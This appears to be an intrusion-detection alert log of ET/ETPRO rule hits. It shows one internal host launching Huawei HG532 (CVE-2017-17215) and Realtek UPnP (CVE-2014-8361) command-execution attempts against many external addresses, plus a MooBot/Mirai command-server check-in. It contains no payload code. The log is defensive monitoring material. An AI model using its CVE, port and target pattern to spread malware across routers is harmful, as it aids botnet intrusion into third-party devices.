ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.237.15.252

Timestamp:	07/20/24-23:01:33.056745
SID:	2829579
Source Port:	32878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.196.34.7

Timestamp:	07/20/24-23:01:25.278709
SID:	2829579
Source Port:	54742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 171.186.170.148

Timestamp:	07/20/24-23:01:05.898214
SID:	2835222
Source Port:	42132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 146.126.33.191

Timestamp:	07/20/24-23:01:05.848041
SID:	2027339
Source Port:	51920
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.228.120.64

Timestamp:	07/20/24-23:01:05.898214
SID:	2835222
Source Port:	51316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 172.76.44.174

Timestamp:	07/20/24-23:01:06.201519
SID:	2027339
Source Port:	46384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.138.67.78

Timestamp:	07/20/24-23:01:11.486486
SID:	2835222
Source Port:	37216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 38.78.113.172

Timestamp:	07/20/24-23:01:37.120918
SID:	2829579
Source Port:	42802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 211.61.230.77

Timestamp:	07/20/24-23:01:11.448569
SID:	2829579
Source Port:	57992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.39.247.83

Timestamp:	07/20/24-23:01:05.893596
SID:	2835222
Source Port:	43336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.80.131.183

Timestamp:	07/20/24-23:01:19.224455
SID:	2835222
Source Port:	59132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.48.132.173

Timestamp:	07/20/24-23:01:25.280228
SID:	2835222
Source Port:	41702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.6.153.64

Timestamp:	07/20/24-23:01:28.200134
SID:	2829579
Source Port:	55204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 54.198.216.131

Timestamp:	07/20/24-23:01:13.331144
SID:	2027339
Source Port:	55172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 8.225.51.230

Timestamp:	07/20/24-23:01:28.205022
SID:	2829579
Source Port:	43900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.135.10.205

Timestamp:	07/20/24-23:01:28.222987
SID:	2835222
Source Port:	33168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.24.98.190

Timestamp:	07/20/24-23:01:11.459583
SID:	2835222
Source Port:	39228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.113.58.156

Timestamp:	07/20/24-23:01:37.120690
SID:	2829579
Source Port:	55000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.13.78.198

Timestamp:	07/20/24-23:01:33.110605
SID:	2829579
Source Port:	44424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.205.166.142

Timestamp:	07/20/24-23:01:05.901568
SID:	2829579
Source Port:	52186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.249.170.193

Timestamp:	07/20/24-23:01:25.283565
SID:	2835222
Source Port:	41884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 46.8.125.37

Timestamp:	07/20/24-23:01:34.983816
SID:	2027339
Source Port:	35340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 64.178.194.185

Timestamp:	07/20/24-23:01:34.918353
SID:	2831300
Source Port:	58312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.101.223.29

Timestamp:	07/20/24-23:01:33.049931
SID:	2829579
Source Port:	49352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.82.97.159

Timestamp:	07/20/24-23:01:33.030189
SID:	2835222
Source Port:	53536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 40.224.141.14

Timestamp:	07/20/24-23:01:13.333076
SID:	2027339
Source Port:	47228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.251.51

Timestamp:	07/20/24-23:01:25.301172
SID:	2829579
Source Port:	44536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.246.2.186

Timestamp:	07/20/24-23:01:14.397228
SID:	2835222
Source Port:	45434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.92.62

Timestamp:	07/20/24-23:01:19.231228
SID:	2829579
Source Port:	46418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 76.61.195.47

Timestamp:	07/20/24-23:01:33.260590
SID:	2027339
Source Port:	57050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 149.189.66.2

Timestamp:	07/20/24-23:01:34.965835
SID:	2027339
Source Port:	47694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 169.73.158.246

Timestamp:	07/20/24-23:01:06.330646
SID:	2027339
Source Port:	41132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.135.101.16

Timestamp:	07/20/24-23:01:07.668438
SID:	2835222
Source Port:	35938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 86.51.153.158

Timestamp:	07/20/24-23:01:28.175716
SID:	2829579
Source Port:	36864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 149.126.253.193

Timestamp:	07/20/24-23:01:22.995297
SID:	2027339
Source Port:	47324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.129.48.47

Timestamp:	07/20/24-23:01:25.281101
SID:	2835222
Source Port:	59266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 14.177.37.112

Timestamp:	07/20/24-23:01:29.170040
SID:	2831300
Source Port:	36208
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 72.222.174.251

Timestamp:	07/20/24-23:01:06.544420
SID:	2027339
Source Port:	46610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 131.234.185.229

Timestamp:	07/20/24-23:01:33.190553
SID:	2027339
Source Port:	58680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 76.246.195.163

Timestamp:	07/20/24-23:01:34.915141
SID:	2027339
Source Port:	35286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 72.172.199.57

Timestamp:	07/20/24-23:01:19.222378
SID:	2829579
Source Port:	49772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.162.172

Timestamp:	07/20/24-23:01:07.680629
SID:	2835222
Source Port:	44602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.133.19

Timestamp:	07/20/24-23:01:02.415803
SID:	2835222
Source Port:	36306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.141.22

Timestamp:	07/20/24-23:01:22.781976
SID:	2829579
Source Port:	34278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 14.235.67.126

Timestamp:	07/20/24-23:01:34.958932
SID:	2027339
Source Port:	58872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 222.183.144.227

Timestamp:	07/20/24-23:01:31.300663
SID:	2025132
Source Port:	43400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.63.149.130

Timestamp:	07/20/24-23:01:28.175716
SID:	2829579
Source Port:	53146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.35.76.74

Timestamp:	07/20/24-23:01:25.230630
SID:	2829579
Source Port:	56262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.30.131.179

Timestamp:	07/20/24-23:01:02.411076
SID:	2835222
Source Port:	45562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 216.167.162.18

Timestamp:	07/20/24-23:01:29.169502
SID:	2831300
Source Port:	55954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 63.230.59.42

Timestamp:	07/20/24-23:01:19.235468
SID:	2835222
Source Port:	57468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.166.123

Timestamp:	07/20/24-23:01:33.056745
SID:	2835222
Source Port:	53834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 97.234.89.166

Timestamp:	07/20/24-23:01:07.668267
SID:	2829579
Source Port:	49322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.121.176.8

Timestamp:	07/20/24-23:01:28.180178
SID:	2835222
Source Port:	37940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 101.76.187.95

Timestamp:	07/20/24-23:01:34.965835
SID:	2027339
Source Port:	52020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 206.110.55.66

Timestamp:	07/20/24-23:01:32.830980
SID:	2027339
Source Port:	46354
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.17.81.186

Timestamp:	07/20/24-23:01:28.219332
SID:	2829579
Source Port:	36016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.223.201.35

Timestamp:	07/20/24-23:01:19.221647
SID:	2835222
Source Port:	56434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 151.151.89.112

Timestamp:	07/20/24-23:01:34.927043
SID:	2027339
Source Port:	34734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 142.221.175.109

Timestamp:	07/20/24-23:01:34.694504
SID:	2027339
Source Port:	37156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 162.255.63.124

Timestamp:	07/20/24-23:01:25.283485
SID:	2829579
Source Port:	39010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:01:31.124267
SID:	2030490
Source Port:	47440
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 61.33.247.239

Timestamp:	07/20/24-23:01:34.911249
SID:	2831300
Source Port:	46828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.43.224.222

Timestamp:	07/20/24-23:01:05.902118
SID:	2829579
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.139.4.185

Timestamp:	07/20/24-23:01:25.289824
SID:	2835222
Source Port:	43176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.222.69.163

Timestamp:	07/20/24-23:01:11.476805
SID:	2829579
Source Port:	37712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 90.38.224.171

Timestamp:	07/20/24-23:01:34.927371
SID:	2027339
Source Port:	60388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 14.9.177.37

Timestamp:	07/20/24-23:01:29.169426
SID:	2027339
Source Port:	51868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.204.135.219

Timestamp:	07/20/24-23:01:05.898353
SID:	2829579
Source Port:	60196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 2.115.51.25

Timestamp:	07/20/24-23:01:06.191534
SID:	2027339
Source Port:	40850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.163.219.39

Timestamp:	07/20/24-23:01:07.653968
SID:	2829579
Source Port:	50358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 100.131.207.210

Timestamp:	07/20/24-23:01:07.674717
SID:	2829579
Source Port:	43254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 75.209.239.5

Timestamp:	07/20/24-23:01:24.999208
SID:	2025132
Source Port:	43606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.128.167.80

Timestamp:	07/20/24-23:01:14.398934
SID:	2829579
Source Port:	52752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.201.252.170

Timestamp:	07/20/24-23:01:28.143994
SID:	2835222
Source Port:	58970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 186.241.124.28

Timestamp:	07/20/24-23:01:34.942495
SID:	2831300
Source Port:	33934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.181.146

Timestamp:	07/20/24-23:01:07.658261
SID:	2835222
Source Port:	57418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.210.50.88

Timestamp:	07/20/24-23:01:02.413579
SID:	2835222
Source Port:	41258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 202.140.60.188

Timestamp:	07/20/24-23:01:05.553511
SID:	2027339
Source Port:	43344
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.44.22.241

Timestamp:	07/20/24-23:01:07.674717
SID:	2829579
Source Port:	52904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.148.239.165

Timestamp:	07/20/24-23:01:07.684526
SID:	2835222
Source Port:	44028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.0.146.131

Timestamp:	07/20/24-23:01:37.121494
SID:	2829579
Source Port:	33238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 39.157.230.122

Timestamp:	07/20/24-23:01:33.183957
SID:	2027339
Source Port:	36250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 192.231.43.185

Timestamp:	07/20/24-23:01:34.902376
SID:	2027339
Source Port:	44680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.40.225.76

Timestamp:	07/20/24-23:01:11.485692
SID:	2835222
Source Port:	46034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.162.189.184

Timestamp:	07/20/24-23:01:37.122448
SID:	2829579
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.37.227.181

Timestamp:	07/20/24-23:01:28.190003
SID:	2829579
Source Port:	59048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 161.62.69.95

Timestamp:	07/20/24-23:01:33.094838
SID:	2829579
Source Port:	49174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.225.214.97

Timestamp:	07/20/24-23:01:37.121166
SID:	2835222
Source Port:	54740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 124.90.204.138

Timestamp:	07/20/24-23:01:13.331147
SID:	2027339
Source Port:	58830
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 168.236.58.106

Timestamp:	07/20/24-23:01:06.594899
SID:	2027339
Source Port:	53784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.46.112.143

Timestamp:	07/20/24-23:01:28.201811
SID:	2835222
Source Port:	50418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 149.3.41.152

Timestamp:	07/20/24-23:01:13.333560
SID:	2831300
Source Port:	59548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 172.198.125.221

Timestamp:	07/20/24-23:01:25.018117
SID:	2027339
Source Port:	46050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.109.119.217

Timestamp:	07/20/24-23:01:19.225050
SID:	2829579
Source Port:	34532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 163.83.107.67

Timestamp:	07/20/24-23:01:33.483598
SID:	2025132
Source Port:	46276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.247.97.52

Timestamp:	07/20/24-23:01:05.558090
SID:	2027339
Source Port:	48856
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.207.83.201

Timestamp:	07/20/24-23:01:33.100578
SID:	2829579
Source Port:	43220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 153.211.168.73

Timestamp:	07/20/24-23:01:34.932468
SID:	2831300
Source Port:	51854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.55.206.151

Timestamp:	07/20/24-23:01:37.166003
SID:	2835222
Source Port:	36684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.141.169

Timestamp:	07/20/24-23:01:37.120709
SID:	2829579
Source Port:	54438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

